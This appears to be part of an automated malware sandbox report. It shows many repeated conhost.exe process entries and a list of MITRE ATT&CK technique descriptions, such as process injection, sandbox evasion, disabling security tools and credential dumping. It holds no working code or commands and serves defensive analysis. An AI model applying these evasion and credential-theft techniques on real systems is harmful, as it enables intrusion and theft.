Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	348
Start time:	21:37:37
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x800000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	349
Start time:	21:37:37
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	350
Start time:	21:37:37
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	357
Start time:	21:37:38
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	371
Start time:	21:37:38
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	375
Start time:	21:37:38
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	387
Start time:	21:37:39
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	390
Start time:	21:37:39
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	396
Start time:	21:37:39
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	407
Start time:	21:37:39
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	422
Start time:	21:37:40
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	443
Start time:	21:37:40
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	444
Start time:	21:37:40
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	446
Start time:	21:37:40
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	456
Start time:	21:37:40
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	479
Start time:	21:37:41
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	489
Start time:	21:37:41
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	493
Start time:	21:37:42
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	507
Start time:	21:37:42
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	557
Start time:	21:37:43
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	558
Start time:	21:37:44
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	575
Start time:	21:37:44
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	576
Start time:	21:37:44
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	577
Start time:	21:37:44
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	583
Start time:	21:37:44
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	597
Start time:	21:37:45
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	607
Start time:	21:37:45
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	618
Start time:	21:37:45
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	624
Start time:	21:37:45
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	633
Start time:	21:37:45
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	645
Start time:	21:37:46
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	660
Start time:	21:37:46
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	665
Start time:	21:37:46
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	675
Start time:	21:37:47
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	681
Start time:	21:37:47
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	686
Start time:	21:37:47
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	695
Start time:	21:37:47
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	696
Start time:	21:37:47
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6eef20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	706
Start time:	21:37:47
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	730
Start time:	21:37:49
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	738
Start time:	21:37:49
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	743
Start time:	21:37:49
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	748
Start time:	21:37:50
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	755
Start time:	21:37:50
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	760
Start time:	21:37:50
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	773
Start time:	21:37:51
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	785
Start time:	21:37:51
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	790
Start time:	21:37:51
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	795
Start time:	21:37:51
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	806
Start time:	21:37:52
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	811
Start time:	21:37:52
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	816
Start time:	21:37:52
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	822
Start time:	21:37:52
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	858
Start time:	21:37:53
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	882
Start time:	21:37:54
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	883
Start time:	21:37:54
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	888
Start time:	21:37:54
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	898
Start time:	21:37:55
Start date:	14/01/2025
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

